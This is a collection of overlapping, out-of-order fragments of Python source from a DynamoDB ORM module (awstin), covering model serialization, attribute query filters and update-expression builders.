"\", \".join(placeholders.keys()) return dict( ProjectionExpression=expression, ExpressionAttributeNames=placeholders, ) def _index_kwargs(self): if",
"class DynamoModel(metaclass=DynamoModelMeta): \"\"\" Class defining an ORM model for a",
"= type(value)(from_decimal(v) for v in value) elif type(value) is dict:",
"model_attrs[db_attr], value) return result def serialize(self): \"\"\" Serialize a DynamoModel",
"update_dict[\"ExpressionAttributeValues\"]: result[\"ExpressionAttributeValues\"] = update_dict[ \"ExpressionAttributeValues\" ] return result class CombineOperator(UpdateOperator):",
"JSON into a DynamoModel subclass. Internally converts Decimal to float",
"DynamoDB. Internally converts float to Decimal. Returns ------- dict of",
"attribute type (e.g. \"N\" for Number) \"\"\" return BotoAttr(self._awstin_name).attribute_type(to_decimal(value)) def",
"= symbol def serialize(self): ser_left = serialize_operand(self.left) ser_right = serialize_operand(self.right)",
"attribute \"\"\" return BotoAttr(self._awstin_name).exists() def in_(self, values): \"\"\" Filter results",
"def remove(self): \"\"\" Remove an attribute. Corresponds to REMOVE as",
"CombineOperator(UpdateOperator): \"\"\" Combine two update expressions \"\"\" def __init__(self, left,",
"and contain the target value Parameters ---------- values : Any",
"passed to query, scan, get_item \"\"\" return { **self._dynamo_projection(), **self._index_kwargs(),",
"cls() for attr in model_attrs.values(): setattr(result, attr, NOT_SET) for db_attr,",
"by attribute type Parameters ---------- value : str Index for",
"\"\"\" try: return super().__getattr__(name) except AttributeError: return type(self)(attribute_name=f\"{self._awstin_name}.{name}\") def __getitem__(self,",
"[ f\"{serialized_attr['UpdateExpression']} \" + serialized_operand[\"UpdateExpression\"] ], \"ExpressionAttributeNames\": attribute_names, \"ExpressionAttributeValues\": serialized_operand[",
"expression \"ExpressionAttributeNames\": Placeholder map for attribute names \"ExpressionAttributeValues\": Placeholder map",
"expressions \"\"\" def __init__(self, left, right): self.left = left self.right",
"\"\"\" placeholders = { \"#\" + str(uuid.uuid4())[:8]: value for value",
"str Starting string for returned results \"\"\" return self._query_type(self._awstin_name).begins_with(to_decimal(value)) def",
"existence in a set Parameters ---------- values : list of",
"collections import defaultdict from typing import Union from boto3.dynamodb.conditions import",
"Update Operands def serialize_operand(value): name = str(uuid.uuid4())[:8] if isinstance(value, UpdateOperand):",
"{name!r}\" raise AttributeError(msg) setattr(self, name, value) @classmethod def deserialize(cls, data):",
"return { \"UpdateExpression\": name, \"ExpressionAttributeNames\": {}, \"ExpressionAttributeValues\": {name: value}, }",
"value in self._dynamodb_attributes().keys() } expression = \", \".join(placeholders.keys()) return dict(",
"k, v in value.items()} else: value = from_decimal(value) setattr(result, model_attrs[db_attr],",
"size_query(self, *args, **kwargs): return BotoAttr(self._awstin_name).size() class Size(BaseAttribute): _query_type = size_query",
"attr), BaseAttribute) } return result def _get_kwargs(self): \"\"\" Kwargs that",
"for k, v in value.items()} else: value = from_decimal(value) setattr(result,",
"section serialized_sections.append(name) serialized += \".\".join(serialized_sections) result = { \"UpdateExpression\": serialized,",
"addition to a set). Corresponds to ADD as part of",
"\":\" + name return { \"UpdateExpression\": name, \"ExpressionAttributeNames\": {}, \"ExpressionAttributeValues\":",
"set(self, expression): \"\"\" Set an attribute to a new value.",
"values of returned results \"\"\" in_values = [to_decimal(value) for value",
"{} class DynamoModel(metaclass=DynamoModelMeta): \"\"\" Class defining an ORM model for",
"def _awstin_name(self): if self._attribute_name is not None: return self._attribute_name else:",
"= attribute_name # Set by Model self._name_on_model = None @property",
"{ \"UpdateExpression\": name, \"ExpressionAttributeNames\": {}, \"ExpressionAttributeValues\": {name: to_decimal(value)}, } def",
"} class ListAppendOperand(UpdateOperand): \"\"\" Combine two lists \"\"\" def __init__(self,",
"\"\"\" Class defining an ORM model for a DynamoDB table.",
"representing the update expression \"ExpressionAttributeNames\": Placeholder map for attribute names",
"name): attr = super().__getattribute__(name) if isinstance(attr, BaseAttribute): attr._name_on_model = name",
"tuple]: name = \":\" + name value = type(value)([to_decimal(v) for",
"= dict( **ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"], ) result[\"ExpressionAttributeValues\"] = dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"],",
"to request when retrieving data from DynamoDB Returns ------- dict",
"to SET as part of the update expression in ``Table.update_item``.",
"query non-key attributes on a dynamodb table data model \"\"\"",
"Returns ------- dict kwargs to be passed to DynamoDB get",
"awstin.dynamodb.utils import from_decimal, to_decimal class NotSet: \"\"\" A value of",
"v in value.items()} else: value = from_decimal(value) setattr(result, model_attrs[db_attr], value)",
"self.right = right self.symbol = symbol def serialize(self): ser_left =",
"\" + \", \".join(update_dict[operation])) return \" \".join(expressions) def serialize(self): \"\"\"",
"tuple]: value = type(value)(from_decimal(v) for v in value) elif type(value)",
"self._query_type(self._awstin_name).between( to_decimal(low), to_decimal(high), ) def __eq__(self, value): return self._query_type(self._awstin_name).eq(to_decimal(value)) def",
"\"ExpressionAttributeValues\": serialized_operand[ \"ExpressionAttributeValues\" ], } # ---- Update Operands def",
"key attributes on a dynamodb table data model \"\"\" _query_type",
"model_attrs: setattr(self, name, NOT_SET) for name, value in kwargs.items(): if",
"= right self.symbol = symbol def serialize(self): ser_left = serialize_operand(self.left)",
"to REMOVE as part of the update expression in ``Table.update_item``.",
"= type(value)([to_decimal(v) for v in value]) return { \"UpdateExpression\": name,",
"in [list, set, tuple]: value = type(value)(to_decimal(v) for v in",
"= operand def update_dict(self): serialized_attr = itemize_attr(self.attr) serialized_operand = self.operand.serialize()",
": dict of (str, Any) Serialized model Returns ------- DynamoModel",
"**ser_right[\"ExpressionAttributeValues\"], ), } def list_append(left, right): \"\"\" Set a value",
"ser_left = serialize_operand(self.left) ser_right = serialize_operand(self.right) expression = ( f\"{ser_left['UpdateExpression']}",
"by size of a collection \"\"\" return Size(self._awstin_name) # ---",
"if update_dict[\"ExpressionAttributeValues\"]: result[\"ExpressionAttributeValues\"] = update_dict[ \"ExpressionAttributeValues\" ] return result class",
"_query_type = size_query class DynamoModelMeta(type): def __getattribute__(self, name): attr =",
"Parameters ---------- **kwargs : dict of (str, Any) Initialization of",
"for Number) \"\"\" return BotoAttr(self._awstin_name).attribute_type(to_decimal(value)) def contains(self, value): \"\"\" Filter",
"def __init__(self, value): self.value = value def serialize(self): return serialize_operand(self.value)",
"SetOperator(self, UpdateOperand(expression)) def remove(self): \"\"\" Remove an attribute. Corresponds to",
"to a new value. Corresponds to SET as part of",
"self.operand.serialize() attribute_names = dict( **serialized_operand[\"ExpressionAttributeNames\"], **serialized_attr[\"ExpressionAttributeNames\"], ) return { \"DELETE\":",
"\"\"\" Combine two update expressions \"\"\" return CombineOperator(self, other) @abstractmethod",
"return self._query_type(self._awstin_name).lte(to_decimal(value)) def attribute_type(self, value): \"\"\" Filter results by attribute",
"of the update expression in ``Table.update_item``. \"\"\" return RemoveOperator(self) def",
"can be inserted into DynamoDB. Internally converts float to Decimal.",
"Update expressions --- def set(self, expression): \"\"\" Set an attribute",
"elif type(value) in [list, set, tuple]: name = \":\" +",
"return RemoveOperator(self) def add(self, expression): \"\"\" Add to an attribute",
"Parameters ---------- low : Any Low end of the range",
"return { \"UpdateExpression\": name, \"ExpressionAttributeNames\": {}, \"ExpressionAttributeValues\": {name: to_decimal(value)}, }",
"Filter results by attribute type Parameters ---------- value : str",
"not exist \"\"\" def __init__(self, attr, value): self.attr = attr",
"to define and query hash and sort key attributes on",
"SET as part of the update expression in ``Table.update_item``. Parameters",
"serialize_operand(self.right) expression = ( f\"list_append({ser_left['UpdateExpression']}, \" f\"{ser_right['UpdateExpression']})\" ) return {",
"Set a value if the given attribute does not exist",
"to add \"\"\" return AddOperator(self, UpdateOperand(expression)) def delete(self, expression): \"\"\"",
"self._query_type(self._awstin_name).begins_with(to_decimal(value)) def between(self, low, high): \"\"\" Filter results by range",
"value.items()} else: value = to_decimal(value) result[dynamo_name] = value return result",
"\"\"\" Conditionally return a value if this attribute doesn't exist",
"class IfNotExistsOperand(UpdateOperand): \"\"\" Set a value if the given attribute",
"the model \"\"\" return IfNotExistsOperand(UpdateOperand(self), UpdateOperand(value)) class Key(BaseAttribute): \"\"\" Used",
"attribute_names = dict( **serialized_operand[\"ExpressionAttributeNames\"], **serialized_attr[\"ExpressionAttributeNames\"], ) return { \"ADD\": [",
"+ list(ser_right.items()) for key, values in items: if key in",
"values Returns ------- dict Kwargs for update_item \"\"\" update_dict =",
"ProjectionExpression=expression, ExpressionAttributeNames=placeholders, ) def _index_kwargs(self): if hasattr(self, \"_index_name_\"): return dict(",
"model_attrs.keys(): if type(value) in [list, set, tuple]: value = type(value)(from_decimal(v)",
"a set attribute. Corresponds to DELETE as part of the",
"--- Update expressions --- def set(self, expression): \"\"\" Set an",
"Returns ------- dict of (str, Any) The serialized JSON entry",
"Deserialize JSON into a DynamoModel subclass. Internally converts Decimal to",
"serialized JSON entry \"\"\" model_attrs = type(self)._dynamodb_attributes() result = {}",
"---------- **kwargs : dict of (str, Any) Initialization of Attr",
"{} # Separate attributes for part in parts: if \"[\"",
"UpdateItem expression \"\"\" def __and__(self, other): \"\"\" Combine two update",
"None): \"\"\" Parameters ---------- attribute_name : str, optional Name of",
"type(value)(from_decimal(v) for v in value) elif type(value) is dict: value",
"if name not in model_attrs: msg = f\"{type(self)!r} has no",
"for attr in model_attrs.values(): setattr(result, attr, NOT_SET) for db_attr, value",
"return CombineOperand(UpdateOperand(self), UpdateOperand(other), \"-\") def __radd__(self, other): return CombineOperand(UpdateOperand(other), UpdateOperand(self),",
"= BotoKey class Attr(BaseAttribute): \"\"\" Used to define and query",
"queries \"\"\" try: return super().__getattr__(name) except AttributeError: return type(self)(attribute_name=f\"{self._awstin_name}.{name}\") def",
"self.update_expression(update_dict), } if update_dict[\"ExpressionAttributeNames\"]: result[\"ExpressionAttributeNames\"] = update_dict[\"ExpressionAttributeNames\"] if update_dict[\"ExpressionAttributeValues\"]: result[\"ExpressionAttributeValues\"]",
"in value) elif type(value) is dict: value = {to_decimal(k): to_decimal(v)",
"attribute_name: Union[str, None] = None): \"\"\" Parameters ---------- attribute_name :",
"Operators class UpdateOperator(ABC): \"\"\" A representation of an UpdateItem expression",
"to be passed to DynamoDB Table.update_item. Keys and values are:",
") return { \"UpdateExpression\": expression, \"ExpressionAttributeNames\": dict( **ser_attr[\"ExpressionAttributeNames\"], **ser_value[\"ExpressionAttributeNames\"], ),",
"def _index_kwargs(self): if hasattr(self, \"_index_name_\"): return dict( IndexName=self._index_name_, ) else:",
"= self.update_dict() result = { \"UpdateExpression\": self.update_expression(update_dict), } if update_dict[\"ExpressionAttributeNames\"]:",
"expression, \"ExpressionAttributeNames\": dict( **ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"], ), \"ExpressionAttributeValues\": dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"],",
"table data model \"\"\" _query_type = BotoAttr def size_query(self, *args,",
"_dynamo_projection(self): \"\"\" Attributes to request when retrieving data from DynamoDB",
"attribute type Parameters ---------- value : str Index for a",
"must have a ``_table_name_`` attribute. Attributes making up the data",
"**kwargs): return BotoAttr(self._awstin_name).size() class Size(BaseAttribute): _query_type = size_query class DynamoModelMeta(type):",
"dict( IndexName=self._index_name_, ) else: return {} class DynamoModel(metaclass=DynamoModelMeta): \"\"\" Class",
"attr self.value = value def serialize(self): ser_attr = serialize_operand(self.attr) ser_value",
"the DynamoModel class. \"\"\" # Set by user self._attribute_name =",
"{ \"UpdateExpression\": expression, \"ExpressionAttributeNames\": dict( **ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"], ), \"ExpressionAttributeValues\": dict(",
"\"ExpressionAttributeNames\": attribute_names, \"ExpressionAttributeValues\": serialized_operand[ \"ExpressionAttributeValues\" ], } # ---- Update",
"results \"\"\" return self._query_type(self._awstin_name).begins_with(to_decimal(value)) def between(self, low, high): \"\"\" Filter",
"elif letter == \"]\": parts.append(current_section + \"]\") current_section = \"\"",
"to ADD as part of the update expression in ``Table.update_item``.",
"msg = f\"{type(self)!r} has no attribute {name!r}\" raise AttributeError(msg) setattr(self,",
"CombineOperand(UpdateOperand(self), UpdateOperand(other), \"-\") def __radd__(self, other): return CombineOperand(UpdateOperand(other), UpdateOperand(self), \"+\")",
"tuple]: value = type(value)(to_decimal(v) for v in value) elif type(value)",
"A representation of an UpdateItem expression \"\"\" def __and__(self, other):",
"BotoAttr(self._awstin_name).contains(to_decimal(value)) def exists(self): \"\"\" Filter results by existence of an",
"Index for a DynamoDB attribute type (e.g. \"N\" for Number)",
"= to_decimal(value) result[dynamo_name] = value return result # ---- Update",
"isinstance(value, UpdateOperand): return value.serialize() elif isinstance(value, BaseAttribute): return itemize_attr(value) elif",
"target value Parameters ---------- values : Any Result must contain",
"string representing the update expression \"ExpressionAttributeNames\": Placeholder map for attribute",
"if key in [\"SET\", \"ADD\", \"DELETE\", \"REMOVE\"]: result[key].extend(values) result[\"ExpressionAttributeNames\"] =",
"dict of (str, Any) Initialization of Attr and Key attributes.",
"data model \"\"\" _query_type = BotoAttr def size_query(self, *args, **kwargs):",
"Attr or Key instances. Subclasses representing indexes should also have",
"from_decimal(value) setattr(result, model_attrs[db_attr], value) return result def serialize(self): \"\"\" Serialize",
"property in the DynamoDB table. Defaults to the name of",
"if letter == \"[\": parts.append(current_section) current_section = \"[\" elif letter",
"= section serialized_sections.append(name) serialized += \".\".join(serialized_sections) result = { \"UpdateExpression\":",
"serialize_operand(self.left) ser_right = serialize_operand(self.right) expression = ( f\"{ser_left['UpdateExpression']} \" f\"{self.symbol}",
"def add(self, expression): \"\"\" Add to an attribute (numerical add",
"a data model is not present in a DynamoDB result",
"ser_right = self.right.update_dict() items = list(ser_left.items()) + list(ser_right.items()) for key,",
"( f\"{ser_left['UpdateExpression']} \" f\"{self.symbol} \" f\"{ser_right['UpdateExpression']}\" ) return { \"UpdateExpression\":",
"model \"\"\" _query_type = BotoKey class Attr(BaseAttribute): \"\"\" Used to",
"or an expression defining a new value \"\"\" return SetOperator(self,",
"add(self, expression): \"\"\" Add to an attribute (numerical add or",
"value to the combination of two lists in an update",
"else: value = to_decimal(value) result[dynamo_name] = value return result #",
"defaultdict(list) ser_left = self.left.update_dict() ser_right = self.right.update_dict() items = list(ser_left.items())",
"ORM model for a DynamoDB table. Subclasses must have a",
"ser_value = serialize_operand(self.value) expression = ( f\"if_not_exists({ser_attr['UpdateExpression']}, \" f\"{ser_value['UpdateExpression']})\" )",
"model Returns ------- DynamoModel The deserialized data model \"\"\" model_attrs",
"\"ExpressionAttributeNames\": attribute_names, \"ExpressionAttributeValues\": serialized_operand[ \"ExpressionAttributeValues\" ], } class AddOperator(UpdateOperator): def",
"Initialization of Attr and Key attributes. \"\"\" model_attrs = type(self)._dynamodb_attributes().values()",
"\"ExpressionAttributeValues\": {name: value}, } else: name = \":\" + name",
"\" f\"{ser_right['UpdateExpression']})\" ) return { \"UpdateExpression\": expression, \"ExpressionAttributeNames\": dict( **ser_left[\"ExpressionAttributeNames\"],",
"Filter by size of a collection \"\"\" return Size(self._awstin_name) #",
"expression): \"\"\" Set an attribute to a new value. Corresponds",
"\"\"\" return RemoveOperator(self) def add(self, expression): \"\"\" Add to an",
"end of the range \"\"\" return self._query_type(self._awstin_name).between( to_decimal(low), to_decimal(high), )",
"Set an attribute to a new value. Corresponds to SET",
"an attribute \"\"\" return BotoAttr(self._awstin_name).not_exists() def size(self): \"\"\" Filter by",
"type(self)._dynamodb_attributes() result = {} for dynamo_name, model_name in model_attrs.items(): value",
"model_attrs = type(self)._dynamodb_attributes() result = {} for dynamo_name, model_name in",
"f\"{self.symbol} \" f\"{ser_right['UpdateExpression']}\" ) return { \"UpdateExpression\": expression, \"ExpressionAttributeNames\": dict(",
"return attr else: return attr def _dynamodb_attributes(self): result = {",
"in kwargs.items(): if name not in model_attrs: msg = f\"{type(self)!r}",
") return { \"ADD\": [ f\"{serialized_attr['UpdateExpression']} \" + serialized_operand[\"UpdateExpression\"] ],",
"Attr and Key attributes. \"\"\" model_attrs = type(self)._dynamodb_attributes().values() for name",
"subtact two expressions \"\"\" def __init__(self, left, right, symbol): self.left",
"name_map, \"ExpressionAttributeValues\": {}, } return result class UpdateOperand: \"\"\" Inner",
"new value \"\"\" return SetOperator(self, UpdateOperand(expression)) def remove(self): \"\"\" Remove",
"Key attributes. \"\"\" model_attrs = type(self)._dynamodb_attributes().values() for name in model_attrs:",
"table. Defaults to the name of the attribute on the",
"part: serialized += part else: if part.startswith(\".\"): serialized += \".\"",
"return super().__getattr__(name) except AttributeError: return type(self)(attribute_name=f\"{self._awstin_name}.{name}\") def __getitem__(self, index): \"\"\"",
"result class CombineOperator(UpdateOperator): \"\"\" Combine two update expressions \"\"\" def",
"results by existence in a set Parameters ---------- values :",
"from boto3.dynamodb.conditions import Attr as BotoAttr from boto3.dynamodb.conditions import Key",
"ser_right = serialize_operand(self.right) expression = ( f\"{ser_left['UpdateExpression']} \" f\"{self.symbol} \"",
"right): \"\"\" Set a value to the combination of two",
"__init__(self, attr, operand): self.attr = attr self.operand = operand def",
"Inner part of an update expression \"\"\" def __init__(self, value):",
"update_dict(self): serialized_attr = itemize_attr(self.attr) serialized_operand = self.operand.serialize() attribute_names = dict(",
"DynamoModel(metaclass=DynamoModelMeta): \"\"\" Class defining an ORM model for a DynamoDB",
"def __init__(self, attribute_name: Union[str, None] = None): \"\"\" Parameters ----------",
"A value of an attribute on a data model is",
"expression in ``Table.update_item``. Parameters ---------- expression : UpdateOperand Value to",
"self._query_type(self._awstin_name).eq(to_decimal(value)) def __gt__(self, value): return self._query_type(self._awstin_name).gt(to_decimal(value)) def __ge__(self, value): return",
"update expressions \"\"\" return CombineOperator(self, other) @abstractmethod def update_dict(self): pass",
"class RemoveOperator(UpdateOperator): def __init__(self, attr): self.attr = attr def update_dict(self):",
"value = {to_decimal(k): to_decimal(v) for k, v in value.items()} else:",
"\"UpdateExpression\": serialized, \"ExpressionAttributeNames\": name_map, \"ExpressionAttributeValues\": {}, } return result class",
") result[\"ExpressionAttributeValues\"] = dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ) return result class",
"RemoveOperator(UpdateOperator): def __init__(self, attr): self.attr = attr def update_dict(self): serialized_attr",
"BaseAttribute): attr._name_on_model = name return attr else: return attr def",
"Kwargs for update_item \"\"\" update_dict = self.update_dict() result = {",
"value): \"\"\" Filter results by attributes that are containers and",
"= [to_decimal(value) for value in values] return BotoAttr(self._awstin_name).is_in(in_values) def __ne__(self,",
"be passed to DynamoDB Table.update_item. Keys and values are: \"UpdateExpression\":",
"data model is not present in a DynamoDB result \"\"\"",
"BotoAttr def size_query(self, *args, **kwargs): return BotoAttr(self._awstin_name).size() class Size(BaseAttribute): _query_type",
"value): return self._query_type(self._awstin_name).lt(to_decimal(value)) def __le__(self, value): return self._query_type(self._awstin_name).lte(to_decimal(value)) def attribute_type(self,",
"serialized = \"\" name_map = {} # Separate attributes for",
"Returns ------- dict Kwargs for update_item \"\"\" update_dict = self.update_dict()",
"user self._attribute_name = attribute_name # Set by Model self._name_on_model =",
"CombineOperand(UpdateOperand(other), UpdateOperand(self), \"-\") def if_not_exists(self, value): \"\"\" Conditionally return a",
"attribute_names = dict( **serialized_operand[\"ExpressionAttributeNames\"], **serialized_attr[\"ExpressionAttributeNames\"], ) return { \"SET\": [",
"items: if key in [\"SET\", \"ADD\", \"DELETE\", \"REMOVE\"]: result[key].extend(values) result[\"ExpressionAttributeNames\"]",
"def exists(self): \"\"\" Filter results by existence of an attribute",
"\"_index_name_\"): return dict( IndexName=self._index_name_, ) else: return {} class DynamoModel(metaclass=DynamoModelMeta):",
"return itemize_attr(value) elif type(value) in [list, set, tuple]: name =",
"return self._query_type(self._awstin_name).gte(to_decimal(value)) def __lt__(self, value): return self._query_type(self._awstin_name).lt(to_decimal(value)) def __le__(self, value):",
"(str, Any) Serialized model Returns ------- DynamoModel The deserialized data",
"for part in parts: if \"[\" in part and \"]\"",
"SetOperator(UpdateOperator): \"\"\" Support for SET \"\"\" def __init__(self, attr, operand):",
"value def serialize(self): ser_attr = serialize_operand(self.attr) ser_value = serialize_operand(self.value) expression",
"representing indexes should also have an ``_index_name_`` attribute \"\"\" def",
"} class DeleteOperator(UpdateOperator): def __init__(self, attr, operand): self.attr = attr",
"for attribute names \"ExpressionAttributeValues\": Placeholder map for attribute values Returns",
"values : list of Any Allowed values of returned results",
"# Separate attributes for part in parts: if \"[\" in",
"for letter in attr._awstin_name: if letter == \"[\": parts.append(current_section) current_section",
"type(value)([to_decimal(v) for v in value]) return { \"UpdateExpression\": name, \"ExpressionAttributeNames\":",
"self._query_type(self._awstin_name).gte(to_decimal(value)) def __lt__(self, value): return self._query_type(self._awstin_name).lt(to_decimal(value)) def __le__(self, value): return",
"\"\"\" def __init__(self, **kwargs): \"\"\" Parameters ---------- **kwargs : dict",
"attr in model_attrs.values(): setattr(result, attr, NOT_SET) for db_attr, value in",
"Parameters ---------- values : list of Any Allowed values of",
"attributes on a dynamodb table data model \"\"\" _query_type =",
"be passed to query, scan, get_item \"\"\" return { **self._dynamo_projection(),",
"\"\" name_map = {} # Separate attributes for part in",
"self._query_type(self._awstin_name).lt(to_decimal(value)) def __le__(self, value): return self._query_type(self._awstin_name).lte(to_decimal(value)) def attribute_type(self, value): \"\"\"",
"for value in self._dynamodb_attributes().keys() } expression = \", \".join(placeholders.keys()) return",
"placeholders \"\"\" placeholders = { \"#\" + str(uuid.uuid4())[:8]: value for",
"results by attributes that are containers and contain the target",
"attr in dir(self) if isinstance(getattr(self, attr), BaseAttribute) } return result",
"= value def serialize(self): return serialize_operand(self.value) class CombineOperand(UpdateOperand): \"\"\" Add",
"on a dynamodb table data model \"\"\" _query_type = BotoAttr",
"= type(self)._dynamodb_attributes() result = {} for dynamo_name, model_name in model_attrs.items():",
"model_attrs = type(self)._dynamodb_attributes().values() for name in model_attrs: setattr(self, name, NOT_SET)",
"return serialize_operand(self.value) class CombineOperand(UpdateOperand): \"\"\" Add or subtact two expressions",
"return AddOperator(self, UpdateOperand(expression)) def delete(self, expression): \"\"\" Delete part of",
"in \"SET\", \"ADD\", \"DELETE\", \"REMOVE\": if update_dict.get(operation): expressions.append(operation + \"",
"\"ADD\": [ f\"{serialized_attr['UpdateExpression']} \" + serialized_operand[\"UpdateExpression\"] ], \"ExpressionAttributeNames\": attribute_names, \"ExpressionAttributeValues\":",
"for a DynamoDB attribute type (e.g. \"N\" for Number) \"\"\"",
"= value def serialize(self): ser_attr = serialize_operand(self.attr) ser_value = serialize_operand(self.value)",
"abstractmethod from collections import defaultdict from typing import Union from",
"abc import ABC, abstractmethod from collections import defaultdict from typing",
"projection expression and placeholders \"\"\" placeholders = { \"#\" +",
"= \"\" else: current_section += letter if current_section: parts.append(current_section) serialized",
"return \"<<Attribute not set>>\" def __repr__(self): return \"<<Attribute not set>>\"",
"of the update expression in ``Table.update_item``. Parameters ---------- expression :",
"result = defaultdict(list) ser_left = self.left.update_dict() ser_right = self.right.update_dict() items",
"optional Name of the property in the DynamoDB table. Defaults",
"+ \", \".join(update_dict[operation])) return \" \".join(expressions) def serialize(self): \"\"\" Produce",
"expression): \"\"\" Add to an attribute (numerical add or addition",
"self._attribute_name = attribute_name # Set by Model self._name_on_model = None",
"part else: if part.startswith(\".\"): serialized += \".\" part = part[1:]",
"table data model \"\"\" _query_type = BotoKey class Attr(BaseAttribute): \"\"\"",
"DynamoModel class. \"\"\" # Set by user self._attribute_name = attribute_name",
"\"[\" elif letter == \"]\": parts.append(current_section + \"]\") current_section =",
"to_decimal(low), to_decimal(high), ) def __eq__(self, value): return self._query_type(self._awstin_name).eq(to_decimal(value)) def __gt__(self,",
"if type(value) in [list, set, tuple]: value = type(value)(to_decimal(v) for",
"\"\"\" A representation of an UpdateItem expression \"\"\" def __and__(self,",
"), \"ExpressionAttributeValues\": dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ), } class IfNotExistsOperand(UpdateOperand): \"\"\"",
"ser_left = self.left.update_dict() ser_right = self.right.update_dict() items = list(ser_left.items()) +",
"------- dict of (str, Any) The serialized JSON entry \"\"\"",
"``Table.update_item``. \"\"\" return RemoveOperator(self) def add(self, expression): \"\"\" Add to",
"\"\"\" Delete part of a set attribute. Corresponds to DELETE",
"DynamoDB table. Subclasses must have a ``_table_name_`` attribute. Attributes making",
"Attr(BaseAttribute): \"\"\" Used to define and query non-key attributes on",
"operation in \"SET\", \"ADD\", \"DELETE\", \"REMOVE\": if update_dict.get(operation): expressions.append(operation +",
"model_attrs.items(): value = getattr(self, model_name) if value is not NOT_SET:",
") def __eq__(self, value): return self._query_type(self._awstin_name).eq(to_decimal(value)) def __gt__(self, value): return",
"of a collection \"\"\" return Size(self._awstin_name) # --- Update expressions",
"attribute values Returns ------- dict Kwargs for update_item \"\"\" update_dict",
"Any Low end of the range high : Any High",
"by non-existence of an attribute \"\"\" return BotoAttr(self._awstin_name).not_exists() def size(self):",
"value, or an expression defining a new value \"\"\" return",
"dynamodb table data model \"\"\" _query_type = BotoAttr def size_query(self,",
"BotoKey class Attr(BaseAttribute): \"\"\" Used to define and query non-key",
"dir(self) if isinstance(getattr(self, attr), BaseAttribute) } return result def _get_kwargs(self):",
"have an ``_index_name_`` attribute \"\"\" def __init__(self, **kwargs): \"\"\" Parameters",
"entry \"\"\" model_attrs = type(self)._dynamodb_attributes() result = {} for dynamo_name,",
"{ \"UpdateExpression\": name, \"ExpressionAttributeNames\": {}, \"ExpressionAttributeValues\": {name: value}, } else:",
"UpdateOperand(other), \"-\") def __radd__(self, other): return CombineOperand(UpdateOperand(other), UpdateOperand(self), \"+\") def",
"also have an ``_index_name_`` attribute \"\"\" def __init__(self, **kwargs): \"\"\"",
"\"UpdateExpression\": string representing the update expression \"ExpressionAttributeNames\": Placeholder map for",
"DynamoDB Table.update_item. Keys and values are: \"UpdateExpression\": string representing the",
"BotoAttr(self._awstin_name).size() class Size(BaseAttribute): _query_type = size_query class DynamoModelMeta(type): def __getattribute__(self,",
"is not NOT_SET: if type(value) in [list, set, tuple]: value",
"not None: return self._attribute_name else: return self._name_on_model def __getattr__(self, name):",
"Corresponds to REMOVE as part of the update expression in",
"= None @property def _awstin_name(self): if self._attribute_name is not None:",
"type(value) in [list, set, tuple]: name = \":\" + name",
"# ---- Update Operands def serialize_operand(value): name = str(uuid.uuid4())[:8] if",
"type(value) is dict: value = {from_decimal(k): from_decimal(v) for k, v",
"attr def _dynamodb_attributes(self): result = { getattr(self, attr)._awstin_name: attr for",
"high : Any High end of the range \"\"\" return",
"class SetOperator(UpdateOperator): \"\"\" Support for SET \"\"\" def __init__(self, attr,",
"{ \"REMOVE\": [serialized_attr[\"UpdateExpression\"]], \"ExpressionAttributeNames\": serialized_attr[\"ExpressionAttributeNames\"], \"ExpressionAttributeValues\": {}, } class DeleteOperator(UpdateOperator):",
"expression = \", \".join(placeholders.keys()) return dict( ProjectionExpression=expression, ExpressionAttributeNames=placeholders, ) def",
"expression and placeholders \"\"\" placeholders = { \"#\" + str(uuid.uuid4())[:8]:",
"def deserialize(cls, data): \"\"\" Deserialize JSON into a DynamoModel subclass.",
"\"ExpressionAttributeValues\" ], } class RemoveOperator(UpdateOperator): def __init__(self, attr): self.attr =",
"class BaseAttribute: def __init__(self, attribute_name: Union[str, None] = None): \"\"\"",
"parts: if \"[\" in part and \"]\" in part: serialized",
"result[\"ExpressionAttributeValues\"] = update_dict[ \"ExpressionAttributeValues\" ] return result class CombineOperator(UpdateOperator): \"\"\"",
"ABC, abstractmethod from collections import defaultdict from typing import Union",
"__gt__(self, value): return self._query_type(self._awstin_name).gt(to_decimal(value)) def __ge__(self, value): return self._query_type(self._awstin_name).gte(to_decimal(value)) def",
"must contain this item \"\"\" return BotoAttr(self._awstin_name).contains(to_decimal(value)) def exists(self): \"\"\"",
"attribute_names = dict( **serialized_operand[\"ExpressionAttributeNames\"], **serialized_attr[\"ExpressionAttributeNames\"], ) return { \"DELETE\": [",
"expression in ``Table.update_item``. Parameters ---------- expression : UpdateOperand New value,",
"Query and scan filter expressions --- def begins_with(self, value): \"\"\"",
"attribute_name : str, optional Name of the property in the",
"not set>>\" NOT_SET = NotSet() class BaseAttribute: def __init__(self, attribute_name:",
"def between(self, low, high): \"\"\" Filter results by range (inclusive)",
"[to_decimal(value) for value in values] return BotoAttr(self._awstin_name).is_in(in_values) def __ne__(self, value):",
"def begins_with(self, value): \"\"\" Filter results by a key or",
"contains(self, value): \"\"\" Filter results by attributes that are containers",
"if db_attr in model_attrs.keys(): if type(value) in [list, set, tuple]:",
"by existence of an attribute \"\"\" return BotoAttr(self._awstin_name).exists() def in_(self,",
"other) @abstractmethod def update_dict(self): pass @staticmethod def update_expression(update_dict): expressions =",
"{name: value}, } else: name = \":\" + name return",
"CombineOperand(UpdateOperand(self), UpdateOperand(other), \"+\") def __sub__(self, other): return CombineOperand(UpdateOperand(self), UpdateOperand(other), \"-\")",
"name return { \"UpdateExpression\": name, \"ExpressionAttributeNames\": {}, \"ExpressionAttributeValues\": {name: to_decimal(value)},",
"result = cls() for attr in model_attrs.values(): setattr(result, attr, NOT_SET)",
"name): \"\"\" Support for nested mapping queries \"\"\" try: return",
"\".join(placeholders.keys()) return dict( ProjectionExpression=expression, ExpressionAttributeNames=placeholders, ) def _index_kwargs(self): if hasattr(self,",
"Parameters ---------- expression : UpdateOperand Value to add \"\"\" return",
"UpdateOperand Value to add \"\"\" return AddOperator(self, UpdateOperand(expression)) def delete(self,",
"converts float to Decimal. Returns ------- dict of (str, Any)",
